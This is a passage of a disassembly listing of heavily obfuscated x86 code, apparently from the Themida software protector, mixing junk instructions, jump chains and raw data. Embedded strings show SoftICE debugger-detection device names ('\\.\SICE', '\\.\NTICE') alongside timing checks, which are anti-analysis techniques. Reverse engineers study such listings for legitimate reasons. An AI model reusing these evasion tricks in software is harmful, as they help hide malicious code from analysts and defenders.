0FFFEE4ACh, 0DAF6E955h dd 0EFC1FFFFh, 0EF814702h, 0B04F1E8Bh, 73E9F829h db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568837: ; CODE XREF: Themida_:0055BF29j mov eax, [esp] add esp, 4 pop ebp pop dword ptr [eax] jmp loc_5530A5 ; --------------------------------------------------------------------------- loc_568845: ; CODE XREF: Themida_:005568FBj sub dword ptr [esp+4], 17144022h jmp loc_554086 ; --------------------------------------------------------------------------- loc_568852: ; CODE XREF: Themida_:005618FBj push dword ptr [esp] pop edi jmp loc_555CF2 ; --------------------------------------------------------------------------- db 89h dd 4C781E7h, 83000000h, 3C8704C7h, 89565C24h, 4C681E6h dd 0E9000000h, 0FFFF47D0h, 0B925AEBEh, 0D5AEE90Fh, 0C159FFFFh dd 0BE5604E3h, 7E0420DCh, 0F7D6F746h, 81EED1D6h, 0B54DC3F6h dd 5EF3014Bh, 36F9EB81h, 0C181FCF5h, 14936FCh, 0E981D901h dd 14936FCh, 0BEF5E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5688B6: ; CODE XREF: Themida_:005680D3j mov ebp, 7B8740B2h dec ebp sub ebp, 120014Bh xor ebp, 38BC3FE5h sub ebp, 12497360h sub ebp, 6FFC3540h add edi, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_55DF24 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 53000000h, 468h, 0A7FFE900h, 0E389FFFEh, 0EDCAE955h dd 5453FFFFh, 4C3815Bh, 0E9000000h, 0FFFFA986h ; --------------------------------------------------------------------------- loc_56890C: ; CODE XREF: Themida_:0055713Bj push ebp mov ebp, 855915h sub ebp, 0B63AF41Eh add eax, ebp pop ebp sub eax, ebp sub eax, 4A4A64F7h pop ebp xchg eax, [esp] pop esp mov [esp], eax push esi push 68591617h pop esi neg esi or esi, 230C03F9h not esi add esi, 0E4BFB3A5h mov eax, esi pop esi jmp loc_559E97 ; --------------------------------------------------------------------------- db 48h, 35h, 0D2h dd 536266Ch, 5F6E1264h, 0E958C501h, 0FFFF25CAh, 0FF241C89h dd 5B042474h, 0FEB9C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_568969: ; CODE XREF: Themida_:005572A5j pop ebx push dword ptr [edx] jmp loc_555B7E ; --------------------------------------------------------------------------- loc_568971: ; CODE XREF: Themida_:00558DF7j xchg ebp, [esp] pop esp push edx push 2286h mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 jmp loc_556F60 ; --------------------------------------------------------------------------- db 0BFh, 86h, 62h dd 0EF81036Ch, 0DAE02820h, 4EEEC281h, 0FA2910D0h, 4EEEEA81h dd 3C8B10D0h, 4C48324h, 73D0C281h, 0D3018765h, 8B2434FFh dd 0C4832414h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5610A7 ; --------------------------------------------------------------------------- loc_5689CF: ; CODE XREF: Themida_:0055BD58j mov ecx, 64763223h inc ecx shr ecx, 2 push ecx not dword ptr [esp] mov ecx, [esp] add esp, 4 push ebp mov ebp, 51316D7Fh add ecx, ebp mov ebp, [esp] add esp, 4 push ebx jmp loc_553225 ; --------------------------------------------------------------------------- dw 0BE56h dd 4, 0E95EF729h, 0FFFF9C40h ; --------------------------------------------------------------------------- loc_568A04: ; CODE XREF: Themida_:00555CEDj push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] mov esp, [esp] xor ecx, 227F157Dh jmp loc_55BAA6 ; --------------------------------------------------------------------------- loc_568A1B: ; CODE XREF: Themida_:0055D52Cj push 0 sub [esp], esi mov esi, [esp] add esp, 4 sub esi, 869E70Ch add eax, esi pop esi xchg eax, [esp] pop esp or eax, eax jz loc_55A571 push dword ptr [edi+1Ch] jmp loc_56080F ; --------------------------------------------------------------------------- dw 0E95Fh dd 0FFFEB5CFh ; --------------------------------------------------------------------------- loc_568A4C: ; CODE XREF: Themida_:00556FC0j add esi, 4945A203h sub edx, esi pop esi push ebx mov ebx, 17361987h add ebx, 6005BC9h xor ebx, 5186070Fh xor ebx, 78784445h jmp loc_5550C6 ; --------------------------------------------------------------------------- loc_568A72: ; CODE XREF: Themida_:00566E96j push edx jmp loc_55F097 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C483240Ch, 0B1E95204h, 0F7FFFFA8h, 0D3E955D2h dd 8BFFFF81h, 89522404h, 4C281E2h, 81000000h, 4C2h, 24148700h dd 49E9555Ch, 5DFFFFECh, 4C581h, 0ED830000h, 242C8704h dd 0FFD0E3E9h, 1D5BBEFFh, 43E96F81h db 1Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568AC7: ; CODE XREF: Themida_:00564968j sub ebp, eax jmp loc_55FE4D ; --------------------------------------------------------------------------- dw 0C229h dd 530AC281h, 48B3AD6h, 4C48324h, 24B5EA81h, 35E9D0EFh dd 5DFFFFEDh, 4C581h, 0C5810000h, 4, 5C242C87h, 2BD55h dd 0EF010000h, 74FF575Dh, 3C8B0424h, 4C48124h, 8F000000h dd 0FFE92404h, 81FFFFE3h, 0F042444h, 8B534F12h, 89502414h dd 4D28E9E0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568B2A: ; CODE XREF: Themida_:00566EBFj sub ebp, 4E6C5808h jmp loc_560CA7 ; --------------------------------------------------------------------------- db 57h, 0E9h, 9Eh db 10h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568B3B: ; CODE XREF: Themida_:005560F6j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 jmp loc_55619F ; --------------------------------------------------------------------------- loc_568B50: ; CODE XREF: Themida_:00568118j pop eax push ebx mov ebx, esp jmp loc_56376D ; --------------------------------------------------------------------------- loc_568B59: ; CODE XREF: Themida_:0055E219j mov ebp, 4 sub ebx, ebp mov ebp, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] mov [esp], esi push ebp sub esp, 4 mov [esp], ebx sub dword ptr [esp], 1AB407A0h pop ebp add ebp, 1AB407A0h push ebp jmp loc_55B43B ; --------------------------------------------------------------------------- dw 489h dd 0D0896624h, 0C5896655h, 5DEF8966h, 1665A58h, 815F66F8h dd 4ECh, 0EC7DE900h, 0C231FFFFh, 84BDE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568BB2: ; CODE XREF: Themida_:0055F15Ej mov esi, [esp] add esp, 4 jmp loc_563C12 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FF881AE9h, 0CE958FFh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568BCB: ; CODE XREF: Themida_:0055958Fj pop ecx xor eax, esi pop esi push eax sub dword ptr [esp], 1E6116BBh mov ebp, [esp] jmp loc_56445B ; --------------------------------------------------------------------------- loc_568BDF: ; CODE XREF: Themida_:00557EEBj xor edx, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_5530A5 ; --------------------------------------------------------------------------- dw 0E9ADh dd 0FFFF05E2h ; --------------------------------------------------------------------------- loc_568BF4: ; CODE XREF: Themida_:00561CCDj push eax mov eax, 1F363858h sub eax, 537E4137h jmp loc_561B02 ; --------------------------------------------------------------------------- loc_568C04: ; CODE XREF: Themida_:0056835Cj mov edi, 5DC67B9Fh sub eax, edi pop edi jmp loc_55EDDE ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E92434FFh, 0FFFFBF1Dh ; --------------------------------------------------------------------------- loc_568C1C: ; CODE XREF: Themida_:00565990j mov edi, 2B0A38AFh and edi, 68371546h jmp loc_556FCE ; --------------------------------------------------------------------------- dd 815EF501h, 2EDh, 242C8700h, 6624248Bh, 0E9240489h, 0FFFEA461h dd 6CE9E289h, 1FFFF26h, 242C8BEEh, 4C481h, 0E9520000h dd 0FFFF93C8h, 7C2CCB81h, 0C3816D95h, 0C5A8C359h, 13E6C781h dd 0DF014163h, 13E6EF81h, 295B4163h, 56BB53C7h, 29338041h dd 34FF5BDFh, 24048B24h, 8304C483h, 5BE904C4h, 68FFFFEAh dd 17BDh, 81243C89h, 4ECh, 24248900h, 4240481h, 5F000000h dd 0FF3395E9h, 24248BFFh, 9C240429h, 0FEA3E8E9h, 4C483FFh dd 5A2434FFh, 0E904C483h, 0FFFF98BEh, 148BD101h, 4C48124h dd 81000000h, 4E9h, 0CADDE900h, 55BAFFFFh, 8113FF38h, 8E7BCDF2h dd 3CC5E947h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568CF2: ; CODE XREF: Themida_:00555312j push edx mov edx, 12DE702Dh jmp loc_559AF8 ; --------------------------------------------------------------------------- db 1, 0D0h, 5Ah dd 0F3BD5552h, 0BA11F117h, 11F117F1h, 0FF4E02E9h, 0A3E943FFh db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568D17: ; CODE XREF: Themida_:00553F72j pop edx push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx jmp loc_55E9D5 ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFEABF3h ; --------------------------------------------------------------------------- loc_568D3C: ; CODE XREF: Themida_:0056328Dj add eax, 4 push 5FFh jmp loc_55EA42 ; --------------------------------------------------------------------------- db 52h dd 0F08870B6h, 8324148Bh, 0C30004C4h, 24048B66h, 2C481h dd 0B60F0000h, 8734FFC0h, 0FEA338E9h db 0FFh ; --------------------------------------------------------------------------- loc_568D6D: ; CODE XREF: Themida_:00565BBDj mov [esp], eax push 11A24E41h pop eax sub eax, 1ED75054h jmp loc_55F121 ; --------------------------------------------------------------------------- dd 0CE8h, 73DC5A00h, 0D4CFF2D2h, 31936EA5h, 0C18B6696h dd 0FE959h, 82640000h, 0C5FCEACh, 9AF7EF57h, 8188C184h dd 0DBC181BCh, 0B0000062h, 31DB33D7h, 4D138595h, 19348B06h dd 0F8D0Fh, 0AE90000h, 4B000000h, 5661F1EAh, 4054B678h dd 7CC6817Eh, 0BA2EA3D0h, 7EF35094h, 98B5F681h, 0BD8B2EC7h dd 64D2019h, 645CC681h, 0F38A78B5h, 0F193489h, 685h, 39858900h dd 60064D23h, 1621B589h, 0BF0F064Dh, 0EB8361C3h, 38F0F02h dd 0F000000h, 4B4BC3BFh, 749BD31h, 0FB81064Dh, 0FFFF9DDCh dd 0FF8F850Fh, 11E9FFFFh, 92000000h, 0BA28011Eh, 0E48ECB42h dd 4716EF90h, 0AAEB53CFh, 535536EBh, 32335245h, 6C6C642Eh dd 56444100h, 33495041h, 6C642E32h, 544E006Ch, 2E4C4C44h dd 6C6C64h, 0A07D7h, 120004h, 17000Bh, 26F0027h, 6C3EE544h dd 90EE9h, 0A06D6800h, 26E9064Fh, 68FFFDE0h, 64FA0F4h dd 0FDE01CE9h, 0A24368FFh, 12E9064Fh, 68FFFDE0h, 64FA38Ch dd 0FDE008E9h, 0A3FE68FFh, 0FEE9064Fh, 68FFFDDFh, 64FA4F2h dd 0FDDFF4E9h, 0A54868FFh, 0EAE9064Fh, 4EFFFDDFh, 0F6D6E288h dd 9979852Bh, 3D1D29CFh, 0DEBECA70h, 61636F15h, 9B410A4Fh dd 42E8AF8Fh, 0E48A5636h, 8A30F8D8h, 0EB1AE77Eh, 0D4FF8195h dd 8651919Ch, 0EBB85E28h, 184A2B7Ah, 7DC2AA2Bh, 3847114Eh dd 0C38AE0D1h, 2AF2501Dh, 0DD46B784h, 0FA176998h, 0B11AD501h dd 84D70048h, 65DC5816h, 88B7FC70h, 0F110F29Bh, 5530FD66h dd 5AA7EC80h, 0C8A2DE0Dh, 268FF4DAh, 105F05D0h, 0C4019DE1h dd 0E62B94EAh, 0E1AC088h, 0A8C0662Eh, 782091B0h, 8429471Ch dd 0E2000007h, 8A6A761Ch, 2D0D19BFh, 0D1B1BD63h, 72525E04h dd 0F5F703A9h, 2FD59EF3h, 0D67C4323h, 781EEACAh, 1EC48C6Ch dd 7FAE7B12h, 0D4FF8101h, 75E52530h, 5F3A07ADh, 95EB1A76h dd 9CDB4F20h, 9DF3E268h, 42AB5943h, 0E76594D9h, 6AD13F8Ch dd 3EA74D14h, 5ECF9BF9h, 54A2CD81h, 791FE985h, 69D23BACh dd 65308E5Dh, 461270BFh, 0DF0E5BA0h, 0D5001FA1h, 6D12790h dd 0DE3C1160h, 0FE587016h, 0C292AE01h, 6FDCFEDh, 0A3690000h dd 4611F1FDh, 0EAB494A0h, 8B583844h, 30F9D9E5h, 747C7E8Ah dd 0A8B45A23h, 4F5B01C8h, 0F1FDA36Fh, 97A34911h, 7C043300h dd 0B5D4FF80h, 0AD756AAAh, 0A0ED3A07h, 0F8CD4B64h, 1289C02h dd 0DB4F0C7Fh, 0C770938h, 51BADB4Fh, 0FDC71D86h, 0CA198A57h dd 0C422A46Ch, 178855FBh, 4F0C90F0h, 0CF38A1DBh, 34DAA402h dd 993F0967h, 7CE856CCh, 0DC886E76h, 162A0121h, 56B6B0h dd 75F40000h, 0B1FB07ADh, 4F20D0A4h, 58FEC6DBh, 1307D4Ch dd 0DB4F207Fh, 20770938h, 51BADB4Fh, 0F3CE1D86h, 16458AE2h dd 0D1399470h, 0D62368D1h, 1ACD9A7h, 0BBEF58D5h, 7EAFA4D4h dd 0F03D8C25h, 592756A3h, 0D8D501BDh, 0F6C2206Fh, 98644450h dd 2C0725F2h, 0BD000006h, 0FC2BAD75h, 0DB4F2084h, 0D0FF44ADh dd 0DB4F20B0h, 0E2AF1881h, 599ECE07h, 20A3DD0Ch, 258EDB4Fh dd 3C89D6h, 2DF6CE2Bh, 1549BA87h, 0F24198E9h, 3834F0C3h dd 83C831D1h, 66B6FD47h, 6E9D6275h, 0D501DB12h, 0FE4DB61Fh dd 9C420AEAh, 9A63C190h, 0C9963C07h, 0C5A0EF58h, 0E8175C10h dd 0CAF27AF9h, 0EC4A8FF8h, 8E6E7A20h, 0BF652FC2h, 632B8956h dd 0E5A7A5BDh, 3005987Dh, 5AE12h, 4CF2B800h, 0EF956040h dd 933903E3h, 34DAA787h, 0D97F4828h, 7425CBCDh, 19F905ABh dd 0C0A0AC52h, 62424EF4h, 51E8F49Ah, 7F2B5584h, 0FB06D4FFh dd 5D2886BBh, 420A68B7h, 2482CF9Ch, 0D63CE758h, 45F6C9E7h dd 93C20FDCh, 0DB4E87EDh, 2372DB44h, 8A57FDC5h, 5CD0947Ah dd 0DB4E8A0Eh, 0D86CF755h, 0CD8BB016h, 44FFFFFEh, 92B8C8F7h dd 1079DB4Eh, 0AD75F9C1h, 9B64C207h, 2C953B08h, 0CA9FEE5Fh dd 4186E6EFh, 3824FD12h, 0B37CDAD1h, 9BCF400Dh, 0FAA94096h dd 0D2A5F42Eh, 0D5005D69h, 34E42FCCh, 0D039DA11h, 0E4023E8Bh dd 0CD0D5B61h, 7083B201h, 0B1CAEA59h, 274C7B48h, 6FCEB433h dd 0D63401A7h, 7899660Ch, 0AE1AD094h, 49D90440h, 6EBC8CD3h dd 160h, 58FEC927h, 0C0F24109h, 256A02D3h, 384769F6h, 0D71F88D1h dd 5816ADAEh, 0D3993CDCh, 0F2C45F8Eh, 65C3F110h, 0B627F49Ah dd 5E2B9467h, 23E5283h, 0C622F641h, 5F2148F9h, 69F4DA74h dd 7F23135Ch, 4AA06B54h, 1D73DC82h, 6DDEAB51h, 0EE90BF04h dd 43EAC407h, 6F3795DAh, 690FDCh, 0A9D825F4h, 0EE8D95D7h dd 44A2F15Ah, 78BED67Ch, 1478208Ah, 465213Fh, 3B010000h dd 0DEA98995h, 824C2C38h, 23F0D0DCh, 0C891717Dh, 9C141622h dd 404CF2BBh, 0E7F39960h, 89953B07h, 2F3BE1A9h, 0E49CCB98h dd 4DD4FF7Dh, 0DDF80242h, 0A90E4A8Fh, 3B15BA58h, 62B4216Eh dd 2A931797h, 0E3418EDBh, 0F2217016h, 0D13F4FF2h, 67194895h dd 0CAD4FF0Fh, 0D63F1261h, 0C1673391h, 6309D5B5h, 0CA703896h dd 0B11076B2h, 0B29FE92h, 3F3h, 0FB07AD73h, 9EAA501Bh dd 424EF4BEh, 0E3EF9562h, 88943A03h, 642D6286h, 0BD2B2BEh dd 0AD795965h, 531BFB07h, 3D0AA1ADh, 0FF7D720Eh, 74B4BFD4h dd 3A07AD75h, 22C88FEDh, 915E04CCh, 0AB73D120h, 42283805h dd 225C0E02h, 0A907DB4Fh, 0B016409Ah, 0FFFD233Dh, 0AD757BFFh dd 2084FC2Bh, 44ADDB4Fh, 0A2330EDBh, 0FD5685CAh, 0E4D1384Dh dd 63FA367Bh, 0DDDEBC2Ah, 5FA9BD0Ch, 866B7F2h, 37DDAA3Dh dd 4190F96Ah, 48106F66h, 0C5F439A2h, 0D138479Ah, 7DA6EE57h dd 0AD1A6E9Dh, 8ED3993Ch, 0D39CC45Fh, 8FD43D22h, 726D1342h dd 5BC4269Dh, 0BA3D8927h, 89D82F36h, 70FCD9B4h, 6291DE2Bh dd 269DCA1Eh, 8B54AA13h, 176796E5h, 1A1C8703h, 460E6CB1h dd 371F5BA0h, 53F9C6DDh, 0BEE11586h, 0CDE13091h, 0C79225EDh dd 7AE35421h, 1FF70862h, 0B1CFA42Eh, 2FFh, 0EFFBA167h dd 929E440Fh, 3642E8B2h, 0D7E38956h, 7C882EF7h, 5821767Ah dd 0FFC6A6B2h, 0A16D4D59h, 470FEFFBh, 31FE95A1h, 0FF7C7E02h dd 68A8B3D4h, 0D5A2DDF8h, 5281C62Fh, 0D13FC0A8h, 6DCB1079h dd 0FEFFBA1h, 72D09D43h, 0B8EC04AAh, 2492AEA1h, 2A9314Fh dd 0F7BD0000h, 9A654551h, 3E08E8F4h, 0DFAC8C98h, 844D2D39h dd 0D8D0D2DEh, 0FC08AE77h, 0A3AF551Ch, 4551F7C3h, 0EBF79D65h dd 28588754h, 9D4FF7Ch, 2886BEFEh, 0ACE8B55Bh, 6C524F0Dh dd 655BEEBh, 7DC2AA2Bh, 7B7F0130h, 0F749DB4Eh, 3AE66C97h dd 0E1309964h, 55956594h, 238CD13Fh, 36B880DEh, 0FF157907h dd 0E64FB8D4h, 0E0AD0BDAh, 0CA10EB3Ah, 582E5DA2h, 6FD4FF15h dd 158DF322h, 3BA4D4FFh, 0E3B019ECh, 3B4C5A96h, 0D5FB2CF3h dd 0ACFB640Ah, 26F2854Eh, 5421C793h, 3CAD7AE3h, 6CB906D3h dd 0FE8D433Dh, 3685EED4h, 8E21EA4Ah, 0ABB720C6h, 0A3E88C4Eh dd 0FE8E1474h, 10D72DD4h, 3F0CB27Dh, 3A9865CEh, 0F760C96Fh dd 5E04CC2Ah, 0C8F74491h, 0D4FE8DB8h, 0D5C11079h, 0FB07AD75h dd 0F4C0531Bh, 0A710814Eh, 9373F9DAh, 0FB5926CCh, 0A4BB882Eh dd 68468CB8h, 0CF974AFAh, 5B00C45Eh, 117A6F94h, 0EC5D2505h dd 0A9C53E7Ah, 2BF86123h, 13B980DEh, 2886D546h, 0FCECB95Fh dd 0F88B57B5h, 521F882Eh, 3E2692E1h, 515D03CBh, 0BD02A871h dd 0ADF2985Fh, 0FE97027Eh, 77C62FD4h, 0D33BC1A2h, 430CFF65h dd 0E8B1919Dh, 7BE48A55h, 0F18450AEh, 4E1B842Ah dd 0B27F25F0h, 17E48A54h, 9C5212F6h, 53A59F83h, 96A9D706h dd 1F88D4FEh, 3A972D0h, 1ADD82BEh, 97805346h, 8C543448h dd 54EA19E6h, 8F7D735Bh, 10A36CCAh, 60D19E44h, 83CA8F7h dd 22670DD5h, 9A65F8C4h, 283C8BF4h, 95DA8048h, 8B671948h dd 61CA1C8Bh, 4C9B410Bh, 0BD501977h, 0F804DF3h, 1463D9A6h dd 0D3C6B0D8h, 0CE988BA9h, 0A269BF28h, 6FBE2FFCh, 0D69E4103h dd 0B9AFEB30h, 0ECBC8AACh, 4B2B3F8Eh, 3510DD83h, 4B87CCA0h dd 9EF7106Ch, 0B0FD4CDEh, 74628A81h, 525EC712h, 478CE0F5h dd 29CF9CFAh, 6D9CEB5Ch, 0C2EDF9Dh, 50305FA4h, 0E10FEE9Fh dd 6CCA0F78h, 0BF30FDA3h, 753D9B70h, 652C8ACFh, 3281F2BFh dd 0E3763E1Eh, 3F0C751Bh, 24CA94F2h, 6897E657h, 827BEE52h dd 6D37944h, 7F49DCA8h, 8CA370D9h, 0C02EA4A0h, 27EF1252h dd 11DE3C81h, 0A54B156Bh, 41867D8h, 0C7B9E835h, 6AA57D52h dd 3CE2AB01h, 21C78FEDh, 0F4CB0754h, 3C1A6FE2h, 9D67C43h dd 12D92F98h, 0DF2E9F6Ch, 8F43B481h, 0DB95F0C1h, 0CB074CB5h dd 0C59214ABh, 21BFEB1Fh, 627FC4Bh, 0F7BF2222h, 18764551h dd 0F957A64Ch, 0A0BE8B31h, 0Fh, 5E288656h, 247AEBB8h, 75E6B359h dd 75DFA726h, 0DE3C09AFh, 45A37016h, 0A806D379h, 106E3BE1h dd 76D4A147h, 0DC3A07ADh, 3E9C690Fh, 0A301CE74h, 0E86532D8h dd 5585450h, 4, 8704E883h, 685C2404h, 141h, 68242C89h dd 5AEAh, 51243489h, 0D578E368h, 0E9C1593Ah, 1FE98106h dd 55366647h, 0CA911DBDh, 5DE931CCh, 8159CD89h, 4ECh, 24248900h dd 4240483h, 4EC815Eh, 89000000h, 481242Ch, 24520D24h dd 8468F76h, 0D086E81h, 0FF762452h, 815E2434h, 4C4h, 242C8B00h dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 0FDD728E9h, 54F50CFFh dd 0B86842D9h, 64FA816h, 0E0FFC503h, 3F78C9D4h, 472CD5E0h dd 7AC125FCh, 2F2CA805h, 1254B098h, 121ECBCAh, 4C3C8BDCh dd 762F4E03h, 37624527h, 3F3CD09Eh, 74490152h, 0E0EAE41h dd 300B613Dh, 3E3560B0h, 4A3A347Dh, 462E9202h, 440B42BDh dd 59DE95C5h, 6E142149h, 7B634D39h, 2C046B2Fh, 72E9h, 0BD836000h dd 64D0FCDh, 5840F00h, 0E9000000h, 5Dh, 3E80006Ah, 8850F30h dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah dd 24h, 0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh dd 406A0000h, 2E946h, 6A0000h, 461858Dh, 8950064Dh, 50962404h dd 0FF006A96h, 4D2F4995h, 0C6C36106h, 4D26E585h, 4E84D06h dd 0A8000000h, 50A43576h, 424448Bh, 4489008Bh, 0FF580424h dd 4D22C1B5h, 6858D06h, 0FF064D39h, 498589D0h, 0E8064D2Fh dd 0Ah, 594C1094h, 0B03EEE98h, 0BD8968F4h, 64D1231h, 0C381FC5Bh dd 62CBh, 68F0F53h, 8B000000h, 4D311585h, 0BE5A06h, 0E9000000h dd 14h, 18AF816Dh, 0EE9F7142h, 0BBCF3F5Bh, 582182C3h, 55413ACFh dd 0E9330C8Bh, 5, 95796477h, 8E9813Ah, 8077F709h, 0E981D6E4h dd 2D791E4Fh, 22C59529h, 0F181064Dh, 7D2CFA3Ch, 65E08166h dd 330C8990h, 8E8h, 90082300h, 277CFB03h, 58E0FB1h, 66000000h dd 42ABCA81h, 14E95Fh, 79260000h, 0E72A8FB7h, 4F0CD715h dd 5646B110h, 0AC51FDC7h, 0EE839A87h, 6890F04h, 3000000h dd 4D1109BDh, 0F8FE8106h, 0FFFFF9Dh, 0FFFF8385h, 19958BFFh dd 0EB064D30h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h, 49535C2Eh dd 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h, 9E9C0h dd 76E50000h, 1128FE10h, 0BF37F188h, 2EEC8139h, 1BD9BD83h dd 7500064Dh, 11BD8309h, 64D00h, 53501974h, 0FB8C08Bh dd 89000004h, 4D257585h, 159D8D06h, 0FF064FB7h, 83585BD3h dd 4D0011BDh, 17740006h, 0FB85350h, 89000004h, 4D257585h dd 49D8D06h, 0FF064FB4h, 80585BD3h, 8B51DDCEh, 0B5895ECFh dd 64D2349h, 8B60C08Bh, 4D2B459Dh, 0BE906h, 25370000h dd 672D0C3Dh, 210A55A1h, 85C661D0h, 64D26E5h, 0CAB56043h dd 73BC9DBEh, 7A686102h, 0E8CE2A74h, 8, 3CD26DB6h, 0A5CE12C5h dd 815F8AB1h, 1A862434h, 6A72A4h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E9BD7EC3h, 5, 273A2D71h dd 31B5FFEFh, 80064D14h, 858D5ADEh, 64D3906h, 0D6815260h dd 0A9B373Eh, 0FEBF0F58h, 0E9D0FF61h, 0Bh, 314EE7CDh, 0D83C17CBh dd 906CFB93h, 8B50D38Bh, 6A90F9h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 0E29021C3h, 62F7A73Bh dd 30F1B501h, 6A064Dh, 14E18166h, 4E8C9h, 800000h, 0F38B0000h dd 8BCEB650h, 8B042444h, 0FE8B6600h, 4244489h, 0BA665250h dd 310F0EAAh, 585AA2B6h, 0BD8B5358h, 64D2185h, 6A036A5Eh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 86B6C355h, 0ACDA5E64h, 0E937AAC6h, 11h, 1B1F9B37h dd 3A779671h, 0EF2378D9h, 10042D63h, 89006A1Ch, 4D07258Dh dd 66036A06h, 684FBABEh, 8AF5DC00h, 0B9665250h, 310FB4FFh dd 585A6160h, 240481h, 6A350A24h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 987BC350h dd 8B0Fh, 9D8D0000h, 64FAA73h, 178D0Fh, 12E90000h, 8D000000h dd 753F2153h, 2C96E4B4h, 0D2EB9BB3h, 0F4B5A4BAh, 8B66935Fh dd 5A5250CAh, 50006A93h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 3F4B582Dh, 0D0FF09FFh, 4B38CE81h dd 0F403943h, 2E485h, 68B0F00h, 0F000000h, 8Ch, 8D335800h dd 64D2D71h, 36B96690h, 8B66501Fh, 870F90D7h, 18h, 7E8h dd 79B71300h, 2C78BC76h, 6E9h, 7AF66100h, 5EBCFC29h, 6A006Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 9D25D7C3h, 0CADB509h, 4E8064Dh, 80000000h, 51000000h dd 12E9h, 0D892AE00h, 51EE7599h, 0F2645A7Fh, 0CEEDE3E1h dd 597854EEh, 8BD2B150h, 8B042444h, 50008BFAh, 0BE952h dd 86240000h, 1A872C4Ah, 8C0BFE45h, 0E8310F6Dh, 0Eh, 71456FACh dd 1FB86418h, 9AEBA35Eh, 52505210h, 585A310Fh, 89585A5Ah dd 0BF042444h, 7A33700Eh, 4860F58h, 66000000h, 6A2414BFh dd 0C19D8903h, 6A064D2Bh, 81665300h, 5A0DABE9h, 0FFC036Ah dd 87h, 88EB6800h, 0FE8BB7DBh, 0EB243481h, 8B77DB88h, 419D29C8h dd 8D064D16h, 4FAA7C9Dh, 0C1958B06h, 50064D2Bh, 89D08B66h dd 6160241Ch, 6AD0FFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1A0424h, 50400000h, 0F4917AC3h, 0A7853A9Bh, 0E3816660h dd 0B70F6129h, 0F38B61CBh, 96850F40h, 81000001h, 0D1E15ED7h dd 0F3BE585Fh, 502612C2h, 0F240489h, 388h, 0D38B6600h dd 6A006Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 4CC1E0C3h, 0D204B7B8h, 681C510Dh, 82B66BE1h dd 7E9h, 0C6BA6400h, 437DA318h, 9F240481h, 0F7D4994h, 68Bh dd 598D8B00h, 6A064D2Dh, 0CE803h dd 0ADAC0000h, 456FAC79h, 0B8641871h, 10E95E1Fh, 34000000h dd 0FF75E063h, 0D4DA76AFh, 98AC3406h, 5F0B160Bh, 51B1006Ah dd 6A036Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 0CDEA0C3h, 7D5E9104h, 23D1B58Bh, 0B968064Dh dd 66DA6CA6h, 81825FBEh, 0A6B92434h, 6A1A6Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0D38CD1C3h dd 0B5952367h, 8D064D1Bh, 4FAA879Dh, 0AD958B06h, 8B064D21h dd 4D0DE9B5h, 59529306h, 9E950h, 0E2EE0000h, 97099239h dd 93F4286Bh, 12E8h, 0CB7B6E00h, 31F55301h, 0AB4947C0h dd 6FCEFC93h, 896ECD77h, 4D121DB5h, 0D0FF5A06h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0C35242h, 16D84942h dd 8D8927AAh, 64D146Dh, 32850F40h, 8B000000h, 4D26BDB5h dd 6A5806h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 4C3994C3h, 8B66F410h, 13FE9D6h, 8B660000h dd 89D88BF8h, 4D2FB585h, 0E8604B06h, 13h, 73D7D2B6h, 60770C7Fh dd 0ED51CCB6h, 0B39E16A4h, 0B537DEEDh, 0BE66583Dh, 8B6158B9h dd 8A0F58CEh, 3, 0C6D78B66h, 4D26E585h, 0B5894306h, 64D1651h dd 1DFEB668h, 0F88B6650h, 0F1240481h, 8970584Bh, 4D225D8Dh dd 31B5FF06h, 6A064D14h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 0F73EC352h, 9E95C23h dd 1F000000h, 0BAD566AAh, 0D6BF4E6Dh, 3906858Dh, 0FE8064Dh dd 0 dd 9B184E9Ch, 35D87E9Eh, 9CF0A57Eh, 0B589EB1Eh, 64D0321h dd 0BFD0FF59h, 0D338D6Dh, 0FDB49BBEh, 